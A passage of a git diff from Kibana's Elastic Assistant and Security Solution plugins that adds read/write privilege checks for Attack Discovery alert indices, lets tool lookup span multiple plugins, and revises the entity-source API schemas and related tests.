B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { IKibanaResponse, KibanaResponseFactory } from '@kbn/core/server'; +import { AwaitedProperties } from '@kbn/utility-types'; + +import { ElasticAssistantRequestHandlerContext } from '../../../types'; + +const DEFAULT_ATTACK_DISCOVER_ALERTS_INDEX = '.alerts-security.attack.discovery.alerts' as const; +const DEFAULT_ATTACK_DISCOVER_ADHOC_ALERTS_INDEX = + '.adhoc.alerts-security.attack.discovery.alerts' as const; + +const getAllAlertsIndices = () => [ + DEFAULT_ATTACK_DISCOVER_ALERTS_INDEX, + `.internal${DEFAULT_ATTACK_DISCOVER_ALERTS_INDEX}`, + DEFAULT_ATTACK_DISCOVER_ADHOC_ALERTS_INDEX, + `.internal${DEFAULT_ATTACK_DISCOVER_ADHOC_ALERTS_INDEX}`, +]; + +export interface AttackDiscoveryAlertsPrivilegesParams { + context: AwaitedProperties< + Pick + >; + response: KibanaResponseFactory; +} + +interface CheckPrivilegesParams extends AttackDiscoveryAlertsPrivilegesParams { + additionalErrorMessage?: string; + privileges: string[]; +} + +type PrivilegesCheckResults = + | { + isSuccess: true; + } + | { + isSuccess: false; + response: IKibanaResponse; + }; + +const hasAttackDiscoveryAlertsPrivileges = async ({ + additionalErrorMessage, + context, + response, + privileges, +}: CheckPrivilegesParams): Promise => { + const elasticAssistant = context.elasticAssistant; + const spaceId = (await elasticAssistant).getSpaceId(); + + const allAlertsIndices = getAllAlertsIndices(); + const indexPrivileges = allAlertsIndices.reduce((acc, value) => { + acc[`${value}-${spaceId}`] = privileges; + return acc; + }, {} as Record); + + const { hasAllRequested } = await elasticAssistant.checkPrivileges().atSpace(spaceId, { + elasticsearch: { index: indexPrivileges, cluster: [] }, + }); + + if (!hasAllRequested) { + return { + isSuccess: false, + response: response.forbidden({ + body: { + message: `Missing [${privileges.join(', ')}] privileges for the [${allAlertsIndices.join( + ', ' + )}] indices.${additionalErrorMessage ? ` ${additionalErrorMessage}` : ''}`, + }, + }), + }; + } + return { isSuccess: true }; +}; + +export const hasReadAttackDiscoveryAlertsPrivileges = async ({ + context, + response, +}: AttackDiscoveryAlertsPrivilegesParams): Promise => { + const privileges = ['read', 'view_index_metadata']; + return hasAttackDiscoveryAlertsPrivileges({ + additionalErrorMessage: 'Without these privileges you cannot read the Attack Discovery alerts.', + context, + response, + privileges, + }); +}; + +export const hasReadWriteAttackDiscoveryAlertsPrivileges = async ({ + context, + response, +}: AttackDiscoveryAlertsPrivilegesParams): Promise => { + const privileges = ['read', 'view_index_metadata', 'write', 'maintenance']; + return hasAttackDiscoveryAlertsPrivileges({ + additionalErrorMessage: + 'Without these privileges you cannot create, read, update or delete the Attack Discovery alerts.', + context, + response, + privileges, + }); +}; diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/post/post_attack_discovery.test.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/post/post_attack_discovery.test.ts index 8728b30d98100..33bdfe6dbc0b7 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/post/post_attack_discovery.test.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/post/post_attack_discovery.test.ts @@ -19,6 +19,7 @@ import { OpenAiProviderType } from '@kbn/stack-connectors-plugin/common/openai/c import { AttackDiscoveryPostRequestBody } from '@kbn/elastic-assistant-common'; import { updateAttackDiscoveryStatusToRunning } from '../helpers/helpers'; +import { hasReadWriteAttackDiscoveryAlertsPrivileges } from '../helpers/index_privileges'; jest.mock('../helpers/helpers', () => { const original = jest.requireActual('../helpers/helpers'); @@ -29,6 +30,15 @@ jest.mock('../helpers/helpers', () => { }; }); +jest.mock('../helpers/index_privileges', () => { + const original = jest.requireActual('../helpers/index_privileges'); + + return { + ...original, + hasReadWriteAttackDiscoveryAlertsPrivileges: jest.fn(), + }; +}); + const { clients, context } = requestContextMock.createTools(); const server: ReturnType = serverMock.create(); clients.core.elasticsearch.client = elasticsearchServiceMock.createScopedClusterClient(); @@ -46,6 +56,7 @@ const mockDataClient = { updateAttackDiscovery: jest.fn(), createAttackDiscovery: jest.fn(), getAttackDiscovery: jest.fn(), + refreshEventLogIndex: jest.fn(), } as unknown as AttackDiscoveryDataClient; const mockApiConfig = { connectorId: 'connector-id', @@ -81,6 +92,9 @@ describe('postAttackDiscoveryRoute', () => { currentAd: runningAd, attackDiscoveryId: mockCurrentAd.id, }); + (hasReadWriteAttackDiscoveryAlertsPrivileges as jest.Mock).mockResolvedValue({ + isSuccess: true, + }); }); it('should handle successful request', async () => { @@ -135,4 +149,37 @@ describe('postAttackDiscoveryRoute', () => { status_code: 500, }); }); + + describe('Enabled `attackDiscoveryAlertsEnabled` feature flag', () => { + beforeEach(() => { + clients.core.featureFlags.getBooleanValue.mockResolvedValue(true); + }); + + it('should handle successful request', async () => { + const response = await server.inject( + postAttackDiscoveryRequest(mockRequestBody), + requestContextMock.convertContext(context) + ); + expect(response.status).toEqual(200); + expect(response.body).toEqual(runningAd); + }); + + it('should handle missing privileges', async () => { + (hasReadWriteAttackDiscoveryAlertsPrivileges as jest.Mock).mockImplementation( + ({ response }) => { + return Promise.resolve({ + isSuccess: false, + response: response.forbidden({ body: { message: 'no privileges' } }), + }); + } + ); + + const response = await server.inject( + postAttackDiscoveryRequest(mockRequestBody), + requestContextMock.convertContext(context) + ); + expect(response.status).toEqual(403); + expect(response.body).toEqual({ message: 'no privileges' }); + }); + }); }); diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/post/post_attack_discovery.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/post/post_attack_discovery.ts index c09aceb1fa9c1..a5f9a2a3793bd 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/post/post_attack_discovery.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/post/post_attack_discovery.ts @@ -31,6 +31,7 @@ import { buildResponse } from '../../../lib/build_response'; import { ElasticAssistantRequestHandlerContext } from '../../../types'; import { requestIsValid } from './helpers/request_is_valid'; import { generateAndUpdateAttackDiscoveries } from '../helpers/generate_and_update_discoveries'; +import { hasReadWriteAttackDiscoveryAlertsPrivileges } from '../helpers/index_privileges'; const ROUTE_HANDLER_TIMEOUT = 10 * 60 * 1000; // 10 * 60 seconds = 10 minutes @@ -139,6 +140,17 @@ export const postAttackDiscoveryRoute = ( false ); + if (attackDiscoveryAlertsEnabled) { + // Perform alerts access check + const privilegesCheckResponse = await hasReadWriteAttackDiscoveryAlertsPrivileges({ + context: performChecksContext, + response, + }); + if (!privilegesCheckResponse.isSuccess) { + return privilegesCheckResponse.response; + } + } + const { currentAd, attackDiscoveryId } = await updateAttackDiscoveryStatusToRunning( dataClient, authenticatedUser, diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/post/post_attack_discovery_bulk.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/post/post_attack_discovery_bulk.ts index 3e3442786be28..7b9d3c54ab438 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/post/post_attack_discovery_bulk.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/attack_discovery/post/post_attack_discovery_bulk.ts @@ -19,6 +19,7 @@ import { buildRouteValidationWithZod } from '@kbn/zod-helpers'; import { performChecks } from '../../helpers'; import { buildResponse } from '../../../lib/build_response'; import { ElasticAssistantRequestHandlerContext } from '../../../types'; +import { hasReadWriteAttackDiscoveryAlertsPrivileges } from '../helpers/index_privileges'; export const postAttackDiscoveryBulkRoute = ( router: IRouter @@ -83,6 +84,15 @@ export const postAttackDiscoveryBulkRoute = ( }); } + // Perform alerts access check + const privilegesCheckResponse = await hasReadWriteAttackDiscoveryAlertsPrivileges({ + context: ctx, + response, + }); + if (!privilegesCheckResponse.isSuccess) { + return privilegesCheckResponse.response; + } + try { const currentUser = await checkResponse.currentUser; const dataClient = await assistantContext.getAttackDiscoveryDataClient(); @@ -104,8 +114,12 @@ export const postAttackDiscoveryBulkRoute = ( }); } + // get an Elasticsearch client for the authenticated user: + const esClient = (await context.core).elasticsearch.client.asCurrentUser; + const data = await dataClient.bulkUpdateAttackDiscoveryAlerts({ authenticatedUser: currentUser, + esClient, ids, kibanaAlertWorkflowStatus, logger, diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/defend_insights/get_defend_insight.test.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/defend_insights/get_defend_insight.test.ts index 43b747b423ac1..b250fed406ad5 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/defend_insights/get_defend_insight.test.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/defend_insights/get_defend_insight.test.ts @@ -81,12 +81,14 @@ describe('getDefendInsightRoute', () => { tools.context.licensing.license = insufficientLicense; jest.spyOn(insufficientLicense, 'hasAtLeast').mockReturnValue(false); - await expect( - server.inject( - getDefendInsightRequest('insight-id1'), - requestContextMock.convertContext(tools.context) - ) - ).rejects.toThrowError('Encountered unexpected call to response.forbidden'); + const response = await server.inject( + getDefendInsightRequest('insight-id1'), + requestContextMock.convertContext(tools.context) + ); + expect(response.status).toEqual(403); + expect(response.body).toEqual({ + message: 'Your license does not support Defend Workflows. Please upgrade your license.', + }); }); it('should handle successful request', async () => { diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/defend_insights/get_defend_insights.test.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/defend_insights/get_defend_insights.test.ts index 1fd8c5b8e6d0c..c1056165a5dba 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/defend_insights/get_defend_insights.test.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/defend_insights/get_defend_insights.test.ts @@ -78,12 +78,14 @@ describe('getDefendInsightsRoute', () => { tools.context.licensing.license = insufficientLicense; jest.spyOn(insufficientLicense, 'hasAtLeast').mockReturnValue(false); - await expect( - server.inject( - getDefendInsightsRequest({ connector_id: 'connector-id1' }), - requestContextMock.convertContext(tools.context) - ) - ).rejects.toThrowError('Encountered unexpected call to response.forbidden'); + const response = await server.inject( + getDefendInsightsRequest({ connector_id: 'connector-id1' }), + requestContextMock.convertContext(tools.context) + ); + expect(response.status).toEqual(403); + expect(response.body).toEqual({ + message: 'Your license does not support Defend Workflows. Please upgrade your license.', + }); }); it('should handle successful request', async () => { diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/defend_insights/post_defend_insights.test.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/defend_insights/post_defend_insights.test.ts index 4ffe39a258d10..f1d9275138ff1 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/defend_insights/post_defend_insights.test.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/defend_insights/post_defend_insights.test.ts @@ -120,12 +120,14 @@ describe('postDefendInsightsRoute', () => { tools.context.licensing.license = insufficientLicense; jest.spyOn(insufficientLicense, 'hasAtLeast').mockReturnValue(false); - await expect( - server.inject( - postDefendInsightsRequest(mockRequestBody), - requestContextMock.convertContext(tools.context) - ) - ).rejects.toThrowError('Encountered unexpected call to response.forbidden'); + const response = await server.inject( + postDefendInsightsRequest(mockRequestBody), + requestContextMock.convertContext(tools.context) + ); + expect(response.status).toEqual(403); + expect(response.body).toEqual({ + message: 'Your license does not support Defend Workflows. Please upgrade your license.', + }); }); it('should handle successful request', async () => { diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/helpers.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/helpers.ts index 1882887f1b5ac..3cbae2fc199cf 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/helpers.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/helpers.ts @@ -293,8 +293,10 @@ export const langChainExecute = async ({ const assistantContext = context.elasticAssistant; // We don't (yet) support invoking these tools interactively const unsupportedTools = new Set(['attack-discovery', DEFEND_INSIGHTS_ID]); + const pluginNames = Array.from(new Set([pluginName, DEFAULT_PLUGIN_NAME])); + const assistantTools = assistantContext - .getRegisteredTools(pluginName) + .getRegisteredTools(pluginNames) .filter((tool) => !unsupportedTools.has(tool.id)); // get a scoped esClient for assistant memory diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/post_actions_connector_execute.test.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/post_actions_connector_execute.test.ts index 6ea4c7f6a9a32..2526d67e5ce20 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/post_actions_connector_execute.test.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/post_actions_connector_execute.test.ts @@ -25,7 +25,7 @@ import { import { licensingMock } from '@kbn/licensing-plugin/server/mocks'; import { appendAssistantMessageToConversation, langChainExecute } from './helpers'; import { getPrompt } from '../lib/prompt'; -import { ELASTICSEARCH_ELSER_INFERENCE_ID } from '../ai_assistant_data_clients/knowledge_base/field_maps_configuration'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; const license = licensingMock.createLicenseMock(); const actionsClient = actionsClientMock.create(); @@ -132,7 +132,7 @@ const mockResponse = { error: jest.fn().mockImplementation((x) => x), }; const mockConfig = { - elserInferenceId: ELASTICSEARCH_ELSER_INFERENCE_ID, + elserInferenceId: defaultInferenceEndpoints.ELSER, responseTimeout: 1000, }; diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/prompts/find_route.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/prompts/find_route.ts index 7556e764c6535..747e7c218366e 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/prompts/find_route.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/prompts/find_route.ts @@ -63,10 +63,8 @@ export const findPromptsRoute = (router: ElasticAssistantPluginRouter, logger: L sortField: query.sort_field, sortOrder: query.sort_order, filter: query.filter - ? `${decodeURIComponent( - query.filter - )} and not (prompt_type: "system" and is_default: true)` - : 'not (prompt_type: "system" and is_default: true)', + ? `${decodeURIComponent(query.filter)} and not (is_default: true)` + : 'not (is_default: true)', fields: query.fields, }); diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/register_routes.test.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/register_routes.test.ts index 5e757fe9916f0..86d1f4ddf7046 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/register_routes.test.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/register_routes.test.ts @@ -52,7 +52,7 @@ import { deleteAttackDiscoverySchedulesRoute } from './attack_discovery/schedule import { findAttackDiscoverySchedulesRoute } from './attack_discovery/schedules/find'; import { disableAttackDiscoverySchedulesRoute } from './attack_discovery/schedules/disable'; import { enableAttackDiscoverySchedulesRoute } from './attack_discovery/schedules/enable'; -import { ELASTICSEARCH_ELSER_INFERENCE_ID } from '../ai_assistant_data_clients/knowledge_base/field_maps_configuration'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; jest.mock('./alert_summary/find_route'); const findAlertSummaryRouteMock = findAlertSummaryRoute as jest.Mock; @@ -136,7 +136,7 @@ const enableAttackDiscoverySchedulesRouteMock = enableAttackDiscoverySchedulesRo describe('registerRoutes', () => { const loggerMock = loggingSystemMock.createLogger(); let server: ReturnType; - const config = { elserInferenceId: ELASTICSEARCH_ELSER_INFERENCE_ID, responseTimeout: 60000 }; + const config = { elserInferenceId: defaultInferenceEndpoints.ELSER, responseTimeout: 60000 }; beforeEach(async () => { jest.clearAllMocks(); diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/request_context_factory.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/request_context_factory.ts index 39bd7a9f86a88..a918284797a3f 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/routes/request_context_factory.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/routes/request_context_factory.ts @@ -107,13 +107,17 @@ export class RequestContextFactory implements IRequestContextFactory { getCurrentUser, - getRegisteredTools: (pluginName: string) => { + getRegisteredTools: (pluginName: string | string[]) => { return appContextService.getRegisteredTools(pluginName); }, getRegisteredFeatures: (pluginName: string) => { return appContextService.getRegisteredFeatures(pluginName); }, + + checkPrivileges: () => { + return startPlugins.security.authz.checkPrivilegesWithRequest(request); + }, llmTasks: startPlugins.llmTasks, inference: startPlugins.inference, savedObjectsClient, diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/services/app_context.test.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/services/app_context.test.ts index 061e4e6f47af5..4d9795145b446 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/services/app_context.test.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/services/app_context.test.ts @@ -35,6 +35,14 @@ describe('AppContextService', () => { isSupported: jest.fn(), getTool: jest.fn(), }; + const toolThree: AssistantTool = { + id: 'tool-three', + name: 'ToolThree', + description: 'Description 3', + sourceRegister: 'Source3', + isSupported: jest.fn(), + getTool: jest.fn(), + }; beforeEach(() => { appContextService.stop(); @@ -99,6 +107,17 @@ describe('AppContextService', () => { }); }); + it('get tools for multiple plugins', () => { + const pluginName1 = 'pluginName1'; + const pluginName2 = 'pluginName2'; + + appContextService.start(mockAppContext); + appContextService.registerTools(pluginName2, [toolOne, toolThree]); + appContextService.registerTools(pluginName1, [toolOne]); + + expect(appContextService.getRegisteredTools([pluginName1, pluginName2]).length).toEqual(2); + }); + describe('registering features', () => { it('should register and get features for a single plugin', () => { const pluginName = 'pluginName'; diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/services/app_context.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/services/app_context.ts index 8bfcb2c982df8..8744b4b0a1882 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/services/app_context.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/services/app_context.ts @@ -12,7 +12,7 @@ import { AssistantTool } from '../types'; export type PluginName = string; export type RegisteredToolsStorage = Map>; export type RegisteredFeaturesStorage = Map; -export type GetRegisteredTools = (pluginName: string) => AssistantTool[]; +export type GetRegisteredTools = (pluginName: string | string[]) => AssistantTool[]; export type GetRegisteredFeatures = (pluginName: string) => AssistantFeatures; export interface ElasticAssistantAppContext { logger: Logger; @@ -67,8 +67,16 @@ class AppContextService { * * @param pluginName */ - public getRegisteredTools(pluginName: string): AssistantTool[] { - const tools = Array.from(this.registeredTools?.get(pluginName) ?? new Set()); + public getRegisteredTools(pluginName: string | string[]): AssistantTool[] { + const pluginNames = Array.isArray(pluginName) ? pluginName : [pluginName]; + + const tools = [ + ...new Set( + pluginNames + .map((name) => this.registeredTools?.get(name) ?? new Set()) + .flatMap((set) => [...set]) + ), + ]; this.logger?.debug('AppContextService:getRegisteredTools'); this.logger?.debug(`pluginName: ${pluginName}`); diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/types.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/types.ts index a4163e3e35ba1..4affbe0af579a 100755 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/types.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/types.ts @@ -53,6 +53,7 @@ import { ProductDocBaseStartContract } from '@kbn/product-doc-base-plugin/server import { AlertingServerSetup, AlertingServerStart } from '@kbn/alerting-plugin/server'; import type { InferenceChatModel } from '@kbn/inference-langchain'; import type { RuleRegistryPluginSetupContract } from '@kbn/rule-registry-plugin/server'; +import type { CheckPrivileges, SecurityPluginStart } from '@kbn/security-plugin/server'; import type { GetAIAssistantKnowledgeBaseDataClientParams } from './ai_assistant_data_clients/knowledge_base'; import { AttackDiscoveryDataClient } from './lib/attack_discovery/persistence'; import { @@ -139,6 +140,7 @@ export interface ElasticAssistantPluginStartDependencies { spaces?: SpacesPluginStart; licensing: LicensingPluginStart; productDocBase: ProductDocBaseStartContract; + security: SecurityPluginStart; } export interface ElasticAssistantApiRequestHandlerContext { @@ -169,6 +171,7 @@ export interface ElasticAssistantApiRequestHandlerContext { inference: InferenceServerStart; savedObjectsClient: SavedObjectsClientContract; telemetry: AnalyticsServiceSetup; + checkPrivileges: () => CheckPrivileges; } /** * @internal diff --git a/x-pack/solutions/security/plugins/elastic_assistant/tsconfig.json b/x-pack/solutions/security/plugins/elastic_assistant/tsconfig.json index 5bedd13c5dbcf..e7a0c039dc218 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/tsconfig.json +++ b/x-pack/solutions/security/plugins/elastic_assistant/tsconfig.json @@ -86,7 +86,10 @@ "@kbn/deeplinks-security", "@kbn/core-application-browser", "@kbn/ai-security-labs-content", - "@kbn/inference-langchain" + "@kbn/inference-langchain", + "@kbn/security-solution-features", + "@kbn/core-http-server-mocks", + "@kbn/inference-common" ], "exclude": [ "target/**/*", diff --git a/x-pack/solutions/security/plugins/security_solution/common/api/detection_engine/prebuilt_rules/perform_rule_upgrade/perform_rule_upgrade_route.test.ts b/x-pack/solutions/security/plugins/security_solution/common/api/detection_engine/prebuilt_rules/perform_rule_upgrade/perform_rule_upgrade_route.test.ts index 7f7a64006adbf..0ab96975ffe47 100644 --- a/x-pack/solutions/security/plugins/security_solution/common/api/detection_engine/prebuilt_rules/perform_rule_upgrade/perform_rule_upgrade_route.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/common/api/detection_engine/prebuilt_rules/perform_rule_upgrade/perform_rule_upgrade_route.test.ts @@ -261,7 +261,7 @@ describe('Perform Rule Upgrade Route Schemas', () => { ); }); - test('rejects paylaod with missing rules array', () => { + test('rejects payload with missing rules array', () => { const invalid = { ...validRequest, rules: undefined }; const result = UpgradeSpecificRulesRequest.safeParse(invalid); expectParseError(result); diff --git a/x-pack/solutions/security/plugins/security_solution/common/api/entity_analytics/entity_store/common.gen.ts b/x-pack/solutions/security/plugins/security_solution/common/api/entity_analytics/entity_store/common.gen.ts index 72250961a97c6..0ea4926f8fc54 100644 --- a/x-pack/solutions/security/plugins/security_solution/common/api/entity_analytics/entity_store/common.gen.ts +++ b/x-pack/solutions/security/plugins/security_solution/common/api/entity_analytics/entity_store/common.gen.ts @@ -21,6 +21,11 @@ export const EntityType = z.enum(['user', 'host', 'service', 'generic']); export type EntityTypeEnum = typeof EntityType.enum; export const EntityTypeEnum = EntityType.enum; +export type BaseECSEntityField = z.infer; +export const BaseECSEntityField = z.enum(['user', 'host', 'service', 'entity']); +export type BaseECSEntityFieldEnum = typeof BaseECSEntityField.enum; +export const BaseECSEntityFieldEnum = BaseECSEntityField.enum; + export type IndexPattern = z.infer; export const IndexPattern = z.string(); diff --git a/x-pack/solutions/security/plugins/security_solution/common/api/entity_analytics/entity_store/common.schema.yaml b/x-pack/solutions/security/plugins/security_solution/common/api/entity_analytics/entity_store/common.schema.yaml index fd2a5dc8a2091..71f8f6841554d 100644 --- a/x-pack/solutions/security/plugins/security_solution/common/api/entity_analytics/entity_store/common.schema.yaml +++ b/x-pack/solutions/security/plugins/security_solution/common/api/entity_analytics/entity_store/common.schema.yaml @@ -13,7 +13,13 @@ components: - host - service - generic - + BaseECSEntityField: + type: string + enum: + - user + - host + - service + - entity EngineDescriptor: type: object required: diff --git a/x-pack/solutions/security/plugins/security_solution/common/api/entity_analytics/privilege_monitoring/monitoring_entity_source/monitoring_entity_source.gen.ts b/x-pack/solutions/security/plugins/security_solution/common/api/entity_analytics/privilege_monitoring/monitoring_entity_source/monitoring_entity_source.gen.ts index 14f90de1cc715..080f10e74da97 100644 --- a/x-pack/solutions/security/plugins/security_solution/common/api/entity_analytics/privilege_monitoring/monitoring_entity_source/monitoring_entity_source.gen.ts +++ b/x-pack/solutions/security/plugins/security_solution/common/api/entity_analytics/privilege_monitoring/monitoring_entity_source/monitoring_entity_source.gen.ts @@ -15,9 +15,10 @@ */ import { z } from '@kbn/zod'; +import { BooleanFromString } from '@kbn/zod-helpers'; -export type MonitoringEntitySourceDescriptor = z.infer; -export const MonitoringEntitySourceDescriptor = z.object({ +export type CreateMonitoringEntitySource = z.infer; +export const CreateMonitoringEntitySource = z.object({ type: z.string(), name: z.string(), managed: z.boolean().optional(), @@ -33,14 +34,42 @@ export const MonitoringEntitySourceDescriptor = z.object({ }) ) .optional(), - filter: z.object({}).optional(), + filter: z + .object({ + kuery: z.union([z.string(), z.object({})]).optional(), + }) + .optional(), +}); + +export type UpdatedMonitoringEntitySource = z.infer; +export const UpdatedMonitoringEntitySource = z.object({ + type: z.string().optional(), + name: z.string().optional(), + managed: z.boolean().optional(), + indexPattern: z.string().optional(), + enabled: z.boolean().optional(), + error: z.string().optional(), + integrationName: z.string().optional(), + matchers: z + .array( + z.object({ + fields: z.array(z.string()), + values: z.array(z.string()), + }) + ) + .optional(), + filter: z + .object({ + kuery: z.union([z.string(), z.object({})]).optional(), + }) + .optional(), }); -export type MonitoringEntitySourceResponse = z.infer; -export const MonitoringEntitySourceResponse = z.object({ - id: z.string().optional(), +export type MonitoringEntitySourceProperties = z.infer; +export const MonitoringEntitySourceProperties = z.object({ name: z.string().optional(), type: z.string().optional(), + managed: z.boolean().optional(), indexPattern: z.string().optional(), integrationName: z.string().optional(), enabled: z.boolean().optional(), @@ -52,4 +81,64 @@ export const MonitoringEntitySourceResponse = z.object({ }) ) .optional(), + filter: z + .object({ + kuery: z.union([z.string(), z.object({})]).optional(), + }) + .optional(), +}); + +export type MonitoringEntitySourceNoId = z.infer; +export const MonitoringEntitySourceNoId = MonitoringEntitySourceProperties.merge(z.object({})); + +export type MonitoringEntitySource = z.infer; +export const MonitoringEntitySource = MonitoringEntitySourceProperties.merge( + z.object({ + id: z.string(), + }) +); + +export type CreateEntitySourceRequestBody = z.infer; +export const CreateEntitySourceRequestBody = CreateMonitoringEntitySource; +export type CreateEntitySourceRequestBodyInput = z.input; + +export type CreateEntitySourceResponse = z.infer; +export const CreateEntitySourceResponse = UpdatedMonitoringEntitySource; + +export type DeleteEntitySourceRequestParams = z.infer; +export const DeleteEntitySourceRequestParams = z.object({ + id: z.string(), +}); +export type DeleteEntitySourceRequestParamsInput = z.input; + +export type GetEntitySourceRequestParams = z.infer; +export const GetEntitySourceRequestParams = z.object({ + id: z.string(), }); +export type GetEntitySourceRequestParamsInput = z.input; + +export type GetEntitySourceResponse = z.infer; +export const GetEntitySourceResponse = MonitoringEntitySource; +export type ListEntitySourcesRequestQuery = z.infer; +export const ListEntitySourcesRequestQuery = z.object({ + type: z.string().optional(), + managed: BooleanFromString.optional(), + name: z.string().optional(), +}); +export type ListEntitySourcesRequestQueryInput = z.input; + +export type ListEntitySourcesResponse = z.infer; +export const ListEntitySourcesResponse = z.array(MonitoringEntitySource); + +export type UpdateEntitySourceRequestParams = z.infer; +export const UpdateEntitySourceRequestParams = z.object({ + id: z.string(), +}); +export type UpdateEntitySourceRequestParamsInput = z.input; + +export type UpdateEntitySourceRequestBody = z.infer; +export const UpdateEntitySourceRequestBody = MonitoringEntitySourceNoId; +export type UpdateEntitySourceRequestBodyInput = z.input; + +export type UpdateEntitySourceResponse = z.infer; +export const UpdateEntitySourceResponse = UpdatedMonitoringEntitySource; diff --git a/x-pack/solutions/security/plugins/security_solution/common/api/entity_analytics/privilege_monitoring/monitoring_entity_source/monitoring_entity_source.schema.yaml b/x-pack/solutions/security/plugins/security_solution/common/api/entity_analytics/privilege_monitoring/monitoring_entity_source/monitoring_entity_source.schema.yaml index edcc1080517b8..24f74e05b4369 100644 --- a/x-pack/solutions/security/plugins/security_solution/common/api/entity_analytics/privilege_monitoring/monitoring_entity_source/monitoring_entity_source.schema.yaml +++ b/x-pack/solutions/security/plugins/security_solution/common/api/entity_analytics/privilege_monitoring/monitoring_entity_source/monitoring_entity_source.schema.yaml @@ -7,25 +7,27 @@ info: paths: /api/entity_analytics/monitoring/entity_source: post: - operationId: createEntitySource + operationId: CreateEntitySource + x-codegen-enabled: true summary: Create a new entity source configuration requestBody: required: true content: application/json: schema: - $ref: "#/components/schemas/MonitoringEntitySourceDescriptor" + $ref: "#/components/schemas/CreateMonitoringEntitySource" responses: "200": description: Entity source created successfully content: application/json: schema: - $ref: "#/components/schemas/MonitoringEntitySourceResponse" + $ref: "#/components/schemas/UpdatedMonitoringEntitySource" /api/entity_analytics/monitoring/entity_source/{id}: get: - operationId: getEntitySource + operationId: GetEntitySource + x-codegen-enabled: true summary: Get an entity source configuration by ID parameters: - name: id @@ -39,10 +41,11 @@ paths: content: application/json: schema: - $ref: "#/components/schemas/MonitoringEntitySourceResponse" + $ref: "#/components/schemas/MonitoringEntitySource" put: - operationId: updateEntitySource + operationId: UpdateEntitySource + x-codegen-enabled: true summary: Update an entity source configuration parameters: - name: id @@ -55,13 +58,18 @@ paths: content: application/json: schema: - $ref: "#/components/schemas/MonitoringEntitySourceDescriptor" + $ref: "#/components/schemas/MonitoringEntitySourceNoId" responses: "200": description: Entity source updated successfully + content: + application/json: + schema: + $ref: "#/components/schemas/UpdatedMonitoringEntitySource" delete: - operationId: deleteEntitySource + operationId: DeleteEntitySource + x-codegen-enabled: true summary: Delete an entity source configuration parameters: - name: id @@ -75,8 +83,23 @@ paths: /api/entity_analytics/monitoring/entity_source/list: get: - operationId: listEntitySources + operationId: ListEntitySources + x-codegen-enabled: true summary: List all entity source configurations + parameters: + - name: type + in: query + schema: + type: string + - name: managed + in: query + schema: + type: boolean + - name: name + in: query + schema: + type: string + responses: "200": description: List of entity sources retrieved @@ -85,10 +108,10 @@ paths: schema: type: array items: - $ref: "#/components/schemas/MonitoringEntitySourceDescriptor" + $ref: "#/components/schemas/MonitoringEntitySource" 